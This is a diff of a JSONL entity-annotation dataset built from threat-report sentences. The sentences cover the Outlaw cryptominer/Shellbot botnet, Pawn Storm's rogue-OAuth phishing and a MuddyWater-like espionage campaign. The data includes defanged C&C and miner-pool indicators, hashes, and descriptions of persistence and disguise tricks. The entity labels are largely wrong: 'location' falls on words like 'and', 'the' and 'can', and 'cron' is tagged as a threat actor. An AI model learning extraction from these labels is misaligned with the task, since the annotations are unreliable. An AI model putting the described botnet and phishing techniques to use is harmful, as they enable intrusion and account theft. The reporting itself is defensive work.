-{"id":7382,"text":"Running the init2 ELF script Both init and init2 scripts make sure all other running mining services are killed, and that all the files in the working directory are executed by giving 777 permissions.","entities":[{"id":22926,"label":"location","start_offset":39,"end_offset":42},{"id":22927,"label":"location","start_offset":101,"end_offset":104},{"id":22928,"label":"location","start_offset":113,"end_offset":116},{"id":22929,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
 {"id":7383,"text":"We also found the init0 script running; the script cleans out all miners regardless of its origin.","entities":[],"relations":[],"Comments":[]}
 {"id":7384,"text":" Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":7385,"text":"The init0 script running It then resets cron and removes possible cache files from other programs, starts scripts and binaries a, init0, and start, and sets the persistence by modifying the crontab.","entities":[{"id":22931,"label":"threat-actor","start_offset":40,"end_offset":44},{"id":22932,"label":"location","start_offset":45,"end_offset":48},{"id":22933,"label":"location","start_offset":66,"end_offset":71},{"id":22934,"label":"location","start_offset":114,"end_offset":117},{"id":22935,"label":"location","start_offset":137,"end_offset":140},{"id":22936,"label":"location","start_offset":141,"end_offset":146},{"id":22937,"label":"location","start_offset":148,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":7386,"text":"The a binary is a script wrapper to start run, a Perl-obfuscated script for installation of a Shellbot to gain control of the infected system.","entities":[{"id":22938,"label":"location","start_offset":36,"end_offset":41},{"id":22939,"label":"location","start_offset":49,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":7387,"text":"The Shellbot disguises itself as a process named rsync, commonly the binary seen on many Unix- and Linux-based systems to automatically run for backup and synchronization.","entities":[{"id":22942,"label":"location","start_offset":84,"end_offset":88},{"id":22943,"label":"location","start_offset":95,"end_offset":98},{"id":22944,"label":"location","start_offset":151,"end_offset":154}],"relations":[],"Comments":[]}
 {"id":7388,"text":"This allows the malicious activity to evade detection.","entities":[],"relations":[],"Comments":[]}
 {"id":7389,"text":" Figure 6. Current variables for rsync (the Shellbot)  Figure 7. Connects to C&C to send current control variables","entities":[],"relations":[],"Comments":[]}
-{"id":7390,"text":"The Shellbot script is added to run after the victim’s system reboots, and scripts \/a\/upd, \/b\/sync\/, and \/c\/aptitude\/ are added to the crontab.","entities":[{"id":22948,"label":"location","start_offset":71,"end_offset":74},{"id":22949,"label":"location","start_offset":101,"end_offset":104},{"id":22950,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
-{"id":7391,"text":"However, while we observed the presence of the codes, the functions of upd, sync and aptitude were disabled in the kits’ latest version.","entities":[{"id":22951,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":7392,"text":"It remains unclear whether these are leftover code from the previous versions or their particular purposes were served.","entities":[{"id":22952,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":7393,"text":"Shellbot is also used to control the botnet, with a command that is sent and run from the C&C to determine if there is a code execution in the shell, the hostname, and its architecture.","entities":[{"id":22953,"label":"location","start_offset":73,"end_offset":76},{"id":22954,"label":"location","start_offset":143,"end_offset":148},{"id":22955,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]}
-{"id":7394,"text":"All results and system information collected from the infected system are stored locally in the device for a period before Outlaw retrieves them via the C&C. We also found traces of Android Package Kits- (APK-) and Android Debug Bridge (ADB)-based commands that enable cryptocurrency mining activities in Android-based TVs:  Figure 8.","entities":[{"id":22956,"label":"location","start_offset":12,"end_offset":15},{"id":22957,"label":"location","start_offset":70,"end_offset":73},{"id":22959,"label":"location","start_offset":140,"end_offset":144},{"id":22960,"label":"location","start_offset":211,"end_offset":214}],"relations":[],"Comments":[]}
-{"id":7395,"text":"The tv.apk app’s Android manifest XML file Conclusion","entities":[{"id":22962,"label":"location","start_offset":25,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":7396,"text":"Since discovering the operations of this group in 2018, Outlaw continues to use scripts, codes, and commands that have been previously used and deployed.","entities":[{"id":22965,"label":"location","start_offset":96,"end_offset":99},{"id":22966,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":7397,"text":"These routines are indicative of the group’s aim to get quantitative returns through varied cybercriminal profit streams.","entities":[{"id":22967,"label":"location","start_offset":15,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":7398,"text":"This was also reinforced by their naming conventions, wherein different versions are simply named after the code iterations, following a specific format regardless of the actual function of the code.","entities":[{"id":22968,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":7399,"text":"Furthermore, based on the group’s use of dated exploits as vectors that companies would have likely addressed with monitoring and regular patching schedules, it appears that they’re going after enterprises who have yet to patch their systems, as well as companies with internet-facing systems with weak to no monitoring of traffic and activities.","entities":[{"id":22969,"label":"location","start_offset":93,"end_offset":99},{"id":22970,"label":"location","start_offset":126,"end_offset":129},{"id":22971,"label":"location","start_offset":331,"end_offset":334}],"relations":[],"Comments":[]}
-{"id":7400,"text":"Considering the amount of resources needed to deploy all the necessary patches for an enterprise (such as quality testing and operations alignment), which implies costly downtime for operations and the hesitation to update all systems immediately, Outlaw may find even more targets and victims for their updated botnets every time there is a patch released and waiting to be downloaded.","entities":[{"id":22972,"label":"location","start_offset":86,"end_offset":96},{"id":22973,"label":"location","start_offset":106,"end_offset":113},{"id":22974,"label":"location","start_offset":122,"end_offset":125},{"id":22975,"label":"location","start_offset":194,"end_offset":197},{"id":22977,"label":"location","start_offset":255,"end_offset":258},{"id":22978,"label":"location","start_offset":282,"end_offset":285},{"id":22979,"label":"location","start_offset":326,"end_offset":330},{"id":22980,"label":"location","start_offset":357,"end_offset":360}],"relations":[],"Comments":[]}
-{"id":7401,"text":"Save for a few iteration updates, combinations from previous deployments, and using the routines repetitively for every campaign, we found very little changes in the group’s toolkit, which allowed various honeypots across the Eastern European region to detect many of the sent binaries.","entities":[{"id":22981,"label":"location","start_offset":0,"end_offset":4},{"id":22982,"label":"location","start_offset":74,"end_offset":77},{"id":22983,"label":"location","start_offset":120,"end_offset":128},{"id":22984,"label":"location","start_offset":144,"end_offset":150},{"id":22986,"label":"location","start_offset":243,"end_offset":249},{"id":22987,"label":"location","start_offset":260,"end_offset":264}],"relations":[],"Comments":[]}
-{"id":7402,"text":"Meanwhile, the group uses a wide range of IP addresses as input for scanning activities that are grouped by country, allowing them to attack certain regions or areas within particular periods of the year, as previously observed.","entities":[{"id":22988,"label":"location","start_offset":33,"end_offset":38},{"id":22989,"label":"location","start_offset":93,"end_offset":96},{"id":22990,"label":"location","start_offset":126,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":7403,"text":"We think the group has likely become more enterprising, and learned to take advantage of some details from their previous campaigns to maximize profit opportunities while exerting minimal effort.","entities":[{"id":22992,"label":"location","start_offset":23,"end_offset":29},{"id":22993,"label":"location","start_offset":56,"end_offset":59},{"id":22994,"label":"location","start_offset":60,"end_offset":67},{"id":22995,"label":"location","start_offset":188,"end_offset":194}],"relations":[],"Comments":[]}
-{"id":7404,"text":"By shaping the attack, the group may be able to create niches in the underground, catering to the specific needs of their customers.","entities":[{"id":22996,"label":"location","start_offset":3,"end_offset":10},{"id":22997,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":7405,"text":"Also aware of the existing laws in Europe, they can avoid prosecution in certain countries as long as they avoid attacking them.","entities":[{"id":22998,"label":"location","start_offset":27,"end_offset":31},{"id":23000,"label":"location","start_offset":48,"end_offset":51},{"id":23001,"label":"location","start_offset":94,"end_offset":98},{"id":23002,"label":"location","start_offset":123,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":7406,"text":"Collection of results and data from scanning in this manner might be easier to sort (while allowing them to stay under the radar), as compared to getting feedback from zombie bots deployed around the world simultaneously.","entities":[{"id":23003,"label":"location","start_offset":22,"end_offset":25},{"id":23004,"label":"location","start_offset":100,"end_offset":104},{"id":23005,"label":"location","start_offset":200,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":7407,"text":"We will continue to monitor this hacking group’s activities and their toolkit’s developments.","entities":[{"id":23006,"label":"location","start_offset":3,"end_offset":7},{"id":23007,"label":"location","start_offset":20,"end_offset":27},{"id":23008,"label":"location","start_offset":60,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":7408,"text":"Outlaw’s attack routines may not be new, but it still serves as a reminder for enterprises to update their systems regularly.","entities":[{"id":23010,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":7409,"text":"Legacy system users may use their providers’ virtual patches.","entities":[{"id":23011,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":7410,"text":"Users are advised to close unused ports, to secure ports and other internet-facing devices that are regularly open for system administrators’ support.","entities":[{"id":23012,"label":"location","start_offset":6,"end_offset":9},{"id":23013,"label":"location","start_offset":57,"end_offset":60},{"id":23014,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
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 {"id":7412,"text":"Trend Micro solutions","entities":[],"relations":[],"Comments":[]}
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 {"id":7418,"text":"Indicators of Compromise (IoCs)  SHA256 Description Detection Name 1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa Cryptocurrency miner Trojan.SH.MALXMR.UWEJP b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d Shellbot Backdoor.SH.SHELLBOT.AA 620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 Tool Trojan.Linux.SSHBRUTE.B fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL32 649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 Cryptocurrency miner Coinminer.Linux.MALXMR.SMDSL64   URLs  159[.]203[.]141[.]208  104[.]236[.]192[.]6  45[.]9[.]148[.]129:80      Miner pool  45[.]9[.]148[.]125:80       Miner pool  http:\/\/www[.]minpop[.]com\/sk12pack\/idents.php         Command and control  http:\/\/www[.]minpop[.]com\/sk12pack\/names.php          Command and control      MITRE ATT&CK Matrix        Tags  Malware | APT & Targeted Attacks | Endpoints | IoT | Research | Network","entities":[{"id":23053,"label":"SHA2","start_offset":67,"end_offset":131},{"id":23054,"label":"location","start_offset":147,"end_offset":152},{"id":23055,"label":"MD5","start_offset":176,"end_offset":240},{"id":23056,"label":"SHA1","start_offset":274,"end_offset":338},{"id":23057,"label":"location","start_offset":339,"end_offset":343},{"id":23058,"label":"SHA1","start_offset":368,"end_offset":432},{"id":23059,"label":"location","start_offset":448,"end_offset":453},{"id":23060,"label":"malware","start_offset":454,"end_offset":463},{"id":23061,"label":"SHA2","start_offset":485,"end_offset":549},{"id":23062,"label":"location","start_offset":565,"end_offset":570},{"id":23063,"label":"malware","start_offset":571,"end_offset":580},{"id":23064,"label":"IPV4","start_offset":610,"end_offset":631},{"id":23065,"label":"IPV4","start_offset":633,"end_offset":652},{"id":23066,"label":"location","start_offset":681,"end_offset":686},{"id":23067,"label":"location","start_offset":687,"end_offset":691},{"id":23068,"label":"location","start_offset":721,"end_offset":726},{"id":23069,"label":"location","start_offset":727,"end_offset":731},{"id":23070,"label":"URL","start_offset":733,"end_offset":758},{"id":23071,"label":"location","start_offset":795,"end_offset":798},{"id":23072,"label":"URL","start_offset":808,"end_offset":833},{"id":23073,"label":"location","start_offset":870,"end_offset":873},{"id":23074,"label":"location","start_offset":930,"end_offset":933}],"relations":[],"Comments":[]}
-{"id":7419,"text":"Pawn Storm is an active and aggressive espionage actor group that has been operating since 2004.","entities":[{"id":23076,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":7420,"text":"The group uses different methods and strategies to gain information from their targets, which are covered in our latest research.","entities":[{"id":23078,"label":"location","start_offset":33,"end_offset":36},{"id":23079,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":7421,"text":"However, they are particularly known for dangerous credential phishing campaigns.","entities":[{"id":23080,"label":"location","start_offset":14,"end_offset":17},{"id":23081,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":7422,"text":"In 2016, the group set up aggressive credential phishing attacks against the Democratic National Convention (DNC), German political party Christian Democratic Union (CDU), the parliament and government of Turkey, the parliament of Montenegro, the World Anti-Doping Agency (WADA), Al Jazeera, and many other organizations.","entities":[{"id":23083,"label":"attack-pattern","start_offset":48,"end_offset":56},{"id":23089,"label":"location","start_offset":187,"end_offset":190},{"id":23095,"label":"location","start_offset":292,"end_offset":295},{"id":23096,"label":"location","start_offset":296,"end_offset":300}],"relations":[],"Comments":[]}
-{"id":7423,"text":"This blog post discusses how Pawn Storm abused Open Authentication (OAuth) in advanced social engineering schemes.","entities":[{"id":23097,"label":"location","start_offset":10,"end_offset":14}],"relations":[],"Comments":[]}
 {"id":7424,"text":"High profile users of free webmail were targeted by campaigns between 2015 and 2016.","entities":[],"relations":[],"Comments":[]}
 {"id":7425,"text":"How is OAuth abused?","entities":[],"relations":[],"Comments":[]}
-{"id":7426,"text":"OAuth is a way of authorizing third party applications to login to users’ online accounts for social media sites, gaming sites, and services like free webmail.","entities":[{"id":23100,"label":"location","start_offset":11,"end_offset":14},{"id":23101,"label":"location","start_offset":101,"end_offset":106},{"id":23102,"label":"location","start_offset":107,"end_offset":112},{"id":23103,"label":"location","start_offset":114,"end_offset":120},{"id":23104,"label":"location","start_offset":121,"end_offset":126},{"id":23105,"label":"location","start_offset":128,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":7427,"text":"The big advantage is that users don’t have to reveal their password; instead, the third party applications get a token that can be used for authentication.","entities":[{"id":23106,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":7428,"text":"While OAuth offers convenience and can be usefully applied in different ways, it may also expose the user to risks.","entities":[{"id":23107,"label":"location","start_offset":31,"end_offset":34},{"id":23108,"label":"location","start_offset":35,"end_offset":38},{"id":23109,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":7429,"text":"Threat actors can get through the background checks that service providers do before authorizing applications for OAuth use.","entities":[{"id":23110,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
-{"id":7430,"text":"These actors can then integrate OAuth into advanced social engineering schemes.","entities":[{"id":23111,"label":"location","start_offset":13,"end_offset":16}],"relations":[],"Comments":[]}
-{"id":7431,"text":"Some internet service providers only require an email address and a website for third party applications to use OAuth.","entities":[{"id":23112,"label":"location","start_offset":32,"end_offset":36},{"id":23113,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
 {"id":7432,"text":"Because of these policies, experienced actor groups like Pawn Storm can take advantage of OAuth for their credential phishing schemes.","entities":[{"id":23115,"label":"location","start_offset":68,"end_offset":71},{"id":23116,"label":"attack-pattern","start_offset":117,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":7433,"text":"          Figure 1. The sequence of Pawn Storm's OAuth abuse A dissection of Pawn Storm OAuth attacks","entities":[{"id":23118,"label":"threat-actor","start_offset":36,"end_offset":46},{"id":23119,"label":"threat-actor","start_offset":77,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":7434,"text":"In these attacks a user would get a message like this:","entities":[],"relations":[],"Comments":[]}
 {"id":7435,"text":"           Figure 2. A phony email from Pawn Storm","entities":[{"id":23121,"label":"threat-actor","start_offset":40,"end_offset":50}],"relations":[],"Comments":[]}
-{"id":7436,"text":"The email poses as an advisory from Gmail and prompts potential victims to install an “official” application called “Google Defender”.","entities":[{"id":23123,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":7437,"text":"Normally an internet user will know better than to readily install an application that wasn't asked for.","entities":[{"id":23124,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":7438,"text":"If the user clicks on the link, it will lead to a page on accounts.google.com that looks like this:            Figure 3.","entities":[{"id":23125,"label":"location","start_offset":35,"end_offset":39},{"id":23126,"label":"location","start_offset":40,"end_offset":44},{"id":23127,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":7439,"text":"A request to grant access from “Google Defender”","entities":[{"id":23130,"label":"location","start_offset":13,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":7440,"text":"At this point, the user is faced with a legitimate Google site—since all OAuth approvals are done on the site of the service provider—but the application itself is part of a phishing scheme.","entities":[{"id":23131,"label":"location","start_offset":8,"end_offset":13},{"id":23133,"label":"location","start_offset":89,"end_offset":92},{"id":23134,"label":"attack-pattern","start_offset":174,"end_offset":182}],"relations":[],"Comments":[]}
-{"id":7441,"text":"“Google Defender” is actually a third party application made by Pawn Storm.","entities":[{"id":23136,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":7442,"text":"After abusing the screening process for OAuth approvals, Pawn Storm’s rogue application operates like every other app accepted by the service provider.","entities":[{"id":23139,"label":"malware","start_offset":70,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":7443,"text":"If the user falls for the scam and clicks the “Allow” button, an OAuth token is provided to the app, giving Pawn Storm semi-permanent access to the target’s mailbox.","entities":[{"id":23140,"label":"location","start_offset":12,"end_offset":17},{"id":23141,"label":"location","start_offset":31,"end_offset":34},{"id":23143,"label":"location","start_offset":148,"end_offset":154}],"relations":[],"Comments":[]}
 {"id":7444,"text":"Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users.","entities":[{"id":23146,"label":"attack-pattern","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":7445,"text":"Here is an example from 2015 where “McAfee Email Protection” is offered.","entities":[{"id":23149,"label":"identity","start_offset":36,"end_offset":42},{"id":23150,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
 {"id":7446,"text":"           Figure 4.","entities":[],"relations":[],"Comments":[]}
@@ -7448,121 +6332,49 @@
 {"id":7448,"text":"           Figure 5.","entities":[],"relations":[],"Comments":[]}
 {"id":7449,"text":"This gives the third party app OAuth access","entities":[],"relations":[],"Comments":[]}
 {"id":7450,"text":"However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm.","entities":[{"id":23160,"label":"malware","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":7451,"text":"Clicking on the “Agree” button would give Pawn Storm an OAuth token and access to the targets’ mailbox.","entities":[{"id":23162,"label":"location","start_offset":37,"end_offset":41},{"id":23164,"label":"location","start_offset":68,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":7452,"text":"The group then gains access to the mailbox until the token gets revoked by the service provider or the target.","entities":[{"id":23165,"label":"location","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":7453,"text":"Pawn Storm apparently had some success with this type of attack as it kept sending this kind of social lure during the end of November and the first half of December 2015, as indicated in the next figure.","entities":[{"id":23167,"label":"location","start_offset":31,"end_offset":38},{"id":23168,"label":"location","start_offset":49,"end_offset":53},{"id":23169,"label":"location","start_offset":103,"end_offset":107},{"id":23171,"label":"location","start_offset":135,"end_offset":138}],"relations":[],"Comments":[]}
 {"id":7454,"text":"           Figure 6.","entities":[],"relations":[],"Comments":[]}
 {"id":7455,"text":"Overview of Pawn Storm’s Yahoo credential phishing campaigns.","entities":[{"id":23176,"label":"attack-pattern","start_offset":42,"end_offset":50}],"relations":[],"Comments":[]}
 {"id":7456,"text":"The blue boxes indicate when Pawn Storm used OAuth lures while red boxes indicate other phishing email strategies OAuth enhances the user experience on the web.","entities":[{"id":23177,"label":"location","start_offset":4,"end_offset":8},{"id":23179,"label":"attack-pattern","start_offset":88,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":7457,"text":"For example, by allowing social networks access to your webmail contact list, it is easier to find friends who are subscribed to the same social network.","entities":[{"id":23180,"label":"location","start_offset":64,"end_offset":71},{"id":23181,"label":"location","start_offset":72,"end_offset":76},{"id":23182,"label":"location","start_offset":111,"end_offset":114},{"id":23183,"label":"location","start_offset":133,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":7458,"text":"But while we believe that internet service providers have enhanced security checks of applications that are allowed to use OAuth, internet users are urged to never accept OAuth token requests from an unknown party or a service they did not ask for.","entities":[{"id":23184,"label":"location","start_offset":67,"end_offset":75},{"id":23185,"label":"location","start_offset":104,"end_offset":107},{"id":23186,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]}
-{"id":7459,"text":"Regularly review the applications you have granted access to your mailbox in the security settings of your free webmail or social media service.","entities":[{"id":23187,"label":"location","start_offset":81,"end_offset":89},{"id":23188,"label":"location","start_offset":130,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":7460,"text":"In case you see a suspicious application immediately revoke the OAuth token.","entities":[{"id":23189,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
 {"id":7461,"text":"These are known rogue applications of Pawn Storm that have been used in credential phishing attacks against high profile users (variants of these names are likely to have been used by Pawn Storm as well):  Google Defender Google Email Protection Google Scanner Delivery Service (Yahoo) McAfee Email protection (Yahoo)    For more information about Pawn Storm, check out From Espionage to Cyber Propaganda: Pawn Storm's Activities over the Past Two Years.","entities":[{"id":23190,"label":"location","start_offset":6,"end_offset":9},{"id":23191,"label":"malware","start_offset":16,"end_offset":21},{"id":23192,"label":"threat-actor","start_offset":38,"end_offset":48},{"id":23193,"label":"attack-pattern","start_offset":83,"end_offset":91},{"id":23194,"label":"location","start_offset":152,"end_offset":155},{"id":23195,"label":"location","start_offset":156,"end_offset":162},{"id":23196,"label":"threat-actor","start_offset":184,"end_offset":194},{"id":23197,"label":"location","start_offset":235,"end_offset":245},{"id":23198,"label":"identity","start_offset":286,"end_offset":292},{"id":23199,"label":"location","start_offset":299,"end_offset":309},{"id":23201,"label":"threat-actor","start_offset":348,"end_offset":358},{"id":23202,"label":"location","start_offset":360,"end_offset":365},{"id":23204,"label":"threat-actor","start_offset":406,"end_offset":416}],"relations":[],"Comments":[]}
-{"id":7462,"text":"    Tags  APT & Targeted Attacks | Research | Web","entities":[{"id":23206,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":7463,"text":"We discovered a new campaign targeting organizations in Turkey, Pakistan and Tajikistan that has some similarities with an earlier campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia.","entities":[{"id":23207,"label":"location","start_offset":20,"end_offset":28},{"id":23210,"label":"location","start_offset":73,"end_offset":76},{"id":23212,"label":"location","start_offset":131,"end_offset":139},{"id":23214,"label":"identity","start_offset":164,"end_offset":167},{"id":23216,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":7464,"text":"Third party security researchers named the MuddyWater campaign as such because of the difficulties in attributing the attacks.","entities":[{"id":23219,"label":"location","start_offset":12,"end_offset":20},{"id":23221,"label":"location","start_offset":54,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":7465,"text":"However, given the nature of the targets, as well as the gathering and uploading of information to C&C servers, it appears that the attackers are mainly concerned with espionage activities — with the Saudi Arabia’s National Cyber Security Center (NCSC) publishing an alert on their website regarding the attacks.","entities":[{"id":23222,"label":"location","start_offset":9,"end_offset":14},{"id":23223,"label":"location","start_offset":67,"end_offset":70},{"id":23225,"label":"location","start_offset":142,"end_offset":145},{"id":23229,"label":"location","start_offset":267,"end_offset":272}],"relations":[],"Comments":[]}
-{"id":7466,"text":"Given the number of similarities, we can assume that there is a connection between these new attacks and the MuddyWater campaign.","entities":[{"id":23230,"label":"location","start_offset":0,"end_offset":5},{"id":23231,"label":"location","start_offset":37,"end_offset":40},{"id":23232,"label":"location","start_offset":75,"end_offset":82},{"id":23233,"label":"location","start_offset":101,"end_offset":104},{"id":23235,"label":"location","start_offset":120,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":7467,"text":"It also signifies that the attackers are not merely interested in a one-off campaign, but will likely continue to perform cyberespionage activities against the targeted countries and industries.","entities":[{"id":23236,"label":"location","start_offset":37,"end_offset":40},{"id":23237,"label":"location","start_offset":68,"end_offset":71},{"id":23238,"label":"location","start_offset":76,"end_offset":84},{"id":23239,"label":"location","start_offset":90,"end_offset":94},{"id":23240,"label":"location","start_offset":95,"end_offset":101},{"id":23241,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
 {"id":7468,"text":"Comparing the earlier MuddyWater campaign with this new one reveals some distinct similiarities:    2017 MuddyWater Campaign 2018 “MuddyWater” Campaign Countries of Targeted Organizations Georgia, India, Iraq, Israel, Pakistan, Saudi Arabia Turkey United Arab Emirates, and the USA Turkey, Pakistan, Tajikistan","entities":[{"id":23243,"label":"location","start_offset":33,"end_offset":41},{"id":23244,"label":"location","start_offset":56,"end_offset":59},{"id":23246,"label":"threat-actor","start_offset":105,"end_offset":115},{"id":23247,"label":"location","start_offset":116,"end_offset":124},{"id":23249,"label":"threat-actor","start_offset":131,"end_offset":141},{"id":23250,"label":"location","start_offset":143,"end_offset":151},{"id":23259,"label":"location","start_offset":270,"end_offset":273}],"relations":[],"Comments":[]}
-{"id":7469,"text":"Decoy Documents","entities":[{"id":23264,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":7470,"text":"The documents try to mimic government organizations, including the Iraqi National Intelligence Service, the National Security Agency, and the Ministry of Interior of Saudi Arabia   ","entities":[{"id":23266,"label":"location","start_offset":73,"end_offset":81},{"id":23268,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
-{"id":7471,"text":"The documents try to mimic government organizations such as the Ministry of Internal Affairs of the Republic of Tajikistan.","entities":[{"id":23271,"label":"location","start_offset":100,"end_offset":108},{"id":23272,"label":"location","start_offset":112,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":7472,"text":"Some documents also come with government emblems.","entities":[],"relations":[],"Comments":[]}
 {"id":7473,"text":"Dropped Files Visual Basic file and Powershell file; the VBS file executes the PS file","entities":[{"id":23273,"label":"location","start_offset":32,"end_offset":35},{"id":23274,"label":"attack-pattern","start_offset":36,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":7474,"text":"  Proxies Hundreds of hacked websites are used as proxies.","entities":[{"id":23276,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":7475,"text":"     In addition to the common characteristics seen above, the campaigns also use similar obfuscation processes, as are the internal variables after deobfuscation.","entities":[{"id":23277,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":7476,"text":"A list of isDebugEnv is also present in both campaigns.","entities":[{"id":23278,"label":"location","start_offset":2,"end_offset":6}],"relations":[],"Comments":[]}
 {"id":7477,"text":"Infection Chain  Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":7478,"text":"Infection chain for the attack","entities":[],"relations":[],"Comments":[]}
-{"id":7479,"text":"Our research found malicious delivery documents (Detected by Trend Micro as JS_VALYRIA.DOCT and W2KM_VALYRIA.DOCT) containing text and file names in the Tajik language attempting to target individuals working for government organizations and telecommunication companies in Tajikistan.","entities":[{"id":23281,"label":"location","start_offset":92,"end_offset":95},{"id":23282,"label":"location","start_offset":131,"end_offset":134},{"id":23285,"label":"location","start_offset":182,"end_offset":188},{"id":23286,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":7480,"text":"Each document uses social engineering to trick potential victims into clicking it to enable the macros and activate the payload.","entities":[{"id":23288,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":7481,"text":"While some of the payloads we observed were embedded inside the document itself, some of the payloads were also downloaded from the internet after the lure was clicked.","entities":[{"id":23289,"label":"location","start_offset":151,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":7482,"text":"There is a separate lure with a program key generator written in Java that was bundled with a Java downloader.","entities":[{"id":23290,"label":"location","start_offset":20,"end_offset":24},{"id":23291,"label":"location","start_offset":65,"end_offset":69},{"id":23292,"label":"location","start_offset":94,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":7483,"text":"However, the actual payload is the same.","entities":[{"id":23293,"label":"location","start_offset":35,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":7484,"text":"Some examples of the lure documents used in the campaign can be seen below:  Figure 2. A sample document","entities":[{"id":23294,"label":"location","start_offset":21,"end_offset":25},{"id":23295,"label":"location","start_offset":48,"end_offset":56},{"id":23296,"label":"location","start_offset":57,"end_offset":60},{"id":23298,"label":"location","start_offset":89,"end_offset":95}],"relations":[],"Comments":[]}
 {"id":7485,"text":"used","entities":[],"relations":[],"Comments":[]}
-{"id":7486,"text":"in the campaign","entities":[{"id":23299,"label":"location","start_offset":7,"end_offset":15}],"relations":[],"Comments":[]}
-{"id":7487,"text":"Note that it uses the Tajikistan emblem, signifying that this is likely used to target government organizations or make it seem that it came from one  Figure 3.","entities":[{"id":23301,"label":"location","start_offset":33,"end_offset":39},{"id":23302,"label":"location","start_offset":65,"end_offset":71},{"id":23303,"label":"location","start_offset":80,"end_offset":86},{"id":23304,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":7488,"text":"A second lure document that we found being used in the campaign designed to look like a document sent to telecommunication companies regarding dissatisfaction with their service; it also asks them to fill out a form, which can be seen in the table at the bottom  Figure 4.","entities":[{"id":23307,"label":"location","start_offset":9,"end_offset":13},{"id":23308,"label":"location","start_offset":55,"end_offset":63},{"id":23309,"label":"location","start_offset":192,"end_offset":196},{"id":23310,"label":"location","start_offset":223,"end_offset":226}],"relations":[],"Comments":[]}
 {"id":7489,"text":"Another example of a header allegedly from the Ministry of Internal Affairs of Tajikistan","entities":[],"relations":[],"Comments":[]}
